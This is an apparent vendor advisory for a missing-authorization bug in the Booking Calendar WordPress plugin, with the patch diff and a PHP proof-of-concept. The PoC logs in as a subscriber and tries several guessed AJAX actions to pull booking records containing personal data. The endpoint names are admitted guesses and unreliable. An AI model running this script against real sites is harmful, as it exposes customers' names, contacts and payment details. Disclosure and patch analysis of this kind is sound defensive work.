Atomic Edge analysis of CVE-2025-14982:
This vulnerability is a Missing Authorization flaw in the Booking Calendar WordPress plugin. The vulnerability allows authenticated users with Subscriber-level permissions or higher to access all booking records, exposing sensitive personal information. The affected component is the plugin’s role-based access control system.
The root cause is the plugin’s default configuration assigning overly permissive capabilities to low-privileged user roles. In the vulnerable version (10.14.11 and earlier), the plugin sets the default capability for booking-related operations to ‘subscriber’ across multiple functions. The code in booking/core/wpbc-activation.php lines 665-682 shows six distinct role configuration options (booking_user_role_booking, booking_user_role_availability, booking_user_role_addbooking, booking_user_role_resources, booking_user_role_settings, and booking_user_role_prices) all defaulting to ‘subscriber’. This configuration grants booking management capabilities to users who should only have basic site access.
Exploitation requires an authenticated attacker with Subscriber-level access. The attacker would access booking management endpoints through the WordPress admin interface or via AJAX handlers. Specific vulnerable endpoints include /wp-admin/admin-ajax.php with action parameters corresponding to booking data retrieval functions. The attacker would send requests to endpoints like admin-ajax.php?action=wpbc_get_bookings or similar booking data retrieval functions without authorization checks, receiving all booking records in response.
The patch changes the default role assignment from ‘subscriber’ to ‘editor’ for all six booking-related capabilities. This modification appears in booking/core/wpbc-activation.php lines 666-683 with the comment ‘FixIn: 10.14.12.1’. The version number also updates from 10.14.11 to 10.14.12 in booking/wpdev-booking.php lines 10 and 37. The fix elevates the minimum required privilege level from Subscriber (the lowest WordPress role) to Editor (a mid-level role with content management permissions), preventing low-privileged users from accessing booking data.
Successful exploitation exposes all booking records stored in the database. Attackers can extract personally identifiable information including names, email addresses, phone numbers, physical addresses, payment status details, booking costs, and booking hashes. This data exposure violates privacy regulations and enables secondary attacks like phishing, identity theft, or payment fraud. The vulnerability affects all plugin installations using default role configurations.
--- a/booking/core/wpbc-activation.php
+++ b/booking/core/wpbc-activation.php
@@ -663,19 +663,21 @@
$mu_option4delete[]='booking_menu_position';
$default_options['booking_translation_load_from'] = 'wp.org';
$mu_option4delete[]='booking_translation_load_from';
- $default_options['booking_user_role_booking'] = 'subscriber';
+
+ // FixIn: 10.14.12.1.
+ $default_options['booking_user_role_booking'] = 'editor';
$mu_option4delete[]='booking_user_role_booking';
- $default_options['booking_user_role_availability'] = 'subscriber';
+ $default_options['booking_user_role_availability'] = 'editor';
$mu_option4delete[]='booking_user_role_availability';
- $default_options['booking_user_role_addbooking'] = 'subscriber';
+ $default_options['booking_user_role_addbooking'] = 'editor';
$mu_option4delete[]='booking_user_role_addbooking';
- $default_options['booking_user_role_resources'] = 'subscriber';
+ $default_options['booking_user_role_resources'] = 'editor';
$mu_option4delete[]='booking_user_role_resources';
- $default_options['booking_user_role_settings'] = 'subscriber';
+ $default_options['booking_user_role_settings'] = 'editor';
$mu_option4delete[]='booking_user_role_settings';
//FixIn: 9.8.15.2.6
if ( class_exists( 'wpdev_bk_biz_m' ) ) {
- $default_options['booking_user_role_prices'] = 'subscriber';
+ $default_options['booking_user_role_prices'] = 'editor';
$mu_option4delete[]='booking_user_role_prices';
}
--- a/booking/wpdev-booking.php
+++ b/booking/wpdev-booking.php
@@ -7,7 +7,7 @@
Author URI: https://wpbookingcalendar.com/
Text Domain: booking
Domain Path: /languages/
-Version: 10.14.11
+Version: 10.14.12
License: GPLv2 or later
*/
@@ -34,7 +34,7 @@
if ( ! defined( 'WP_BK_VERSION_NUM' ) ) {
- define( 'WP_BK_VERSION_NUM', '10.14.11' );
+ define( 'WP_BK_VERSION_NUM', '10.14.12' );
}
if ( ! defined( 'WP_BK_MINOR_UPDATE' ) ) {
define( 'WP_BK_MINOR_UPDATE', true );
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-14982 - Booking Calendar <= 10.14.11 - Missing Authorization to Sensitive Information Exposure
<?php
/**
* Proof of Concept for CVE-2025-14982
* Requires: Valid WordPress subscriber credentials
* Target: Booking Calendar plugin <= 10.14.11
* Impact: Retrieves all booking records with PII
*/
$target_url = 'https://vulnerable-site.com';
$username = 'attacker_subscriber';
$password = 'subscriber_password';
// Initialize cURL session for WordPress login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$login_response = curl_exec($ch);
// Verify login success by checking for admin bar or dashboard
if (strpos($login_response, 'wp-admin-bar') === false) {
die('Login failed. Check credentials.');
}
// Exploit: Access booking data via AJAX endpoint
// The exact AJAX action may vary based on plugin configuration
// Common booking data retrieval actions include:
// wpbc_get_bookings, wpbc_show_bookings, booking_list, etc.
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, 1);
// Try common booking data retrieval actions
$exploit_actions = [
'wpbc_get_bookings',
'wpbc_show_bookings',
'booking_list',
'get_bookings',
'show_all_bookings'
];
foreach ($exploit_actions as $action) {
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'action' => $action,
'limit' => 1000, // Request large number of records
'page' => 1
]));
$booking_data = curl_exec($ch);
// Check if response contains booking data patterns
if (strpos($booking_data, 'booking_id') !== false ||
strpos($booking_data, 'email') !== false ||
strpos($booking_data, 'phone') !== false) {
echo "[SUCCESS] Found vulnerable action: $actionn";
echo "[DATA] Retrieved booking records:n";
echo $booking_data . "nn";
break;
}
}
curl_close($ch);
unlink('cookies.txt');
?>